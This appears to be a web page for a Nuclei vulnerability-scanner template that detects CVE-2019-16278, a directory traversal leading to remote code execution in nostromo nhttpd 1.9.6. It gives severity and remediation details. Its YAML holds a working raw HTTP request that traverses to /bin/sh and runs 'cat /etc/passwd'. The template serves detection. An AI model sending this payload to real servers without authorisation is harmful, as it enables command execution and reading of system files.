nostromo 1.9.6 - Remote Code Execution

ID: CVE-2019-16278

Severity: critical

Author: pikpikcu

Tags: cve,cve2019,edb,rce,packetstorm,nazgul

Description

nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify.

YAML Source

id: CVE-2019-16278

info:
  name: nostromo 1.9.6 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via  directory traversal in the function http_verify.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade to a patched version of nostromo web server (1.9.7 or later) or apply the vendor-supplied patch.
  reference:
    - https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html
    - https://www.exploit-db.com/raw/47837
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16278
    - http://www.nazgul.ch/dev/nostromo_cl.txt
    - http://packetstormsecurity.com/files/155045/Nostromo-1.9.6-Directory-Traversal-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16278
    cwe-id: CWE-22
    epss-score: 0.97408
    epss-percentile: 0.99926
    cpe: cpe:2.3:a:nazgul:nostromo_nhttpd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nazgul
    product: nostromo_nhttpd
  tags: cve,cve2019,edb,rce,packetstorm,nazgul

http:
  - raw:
      - |
        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
        Host: {{Hostname}}

        echo
        echo
        cat /etc/passwd 2>&1

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100cc12d2c0fe41bb01918433a883c95d9076e40694e611bba42b0636a113b14ae6022079bfa5eda5a9f36448a748bba48c904eaf1bc74811c79ab41e9f98d69005dbf6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16278.yaml"

View on Github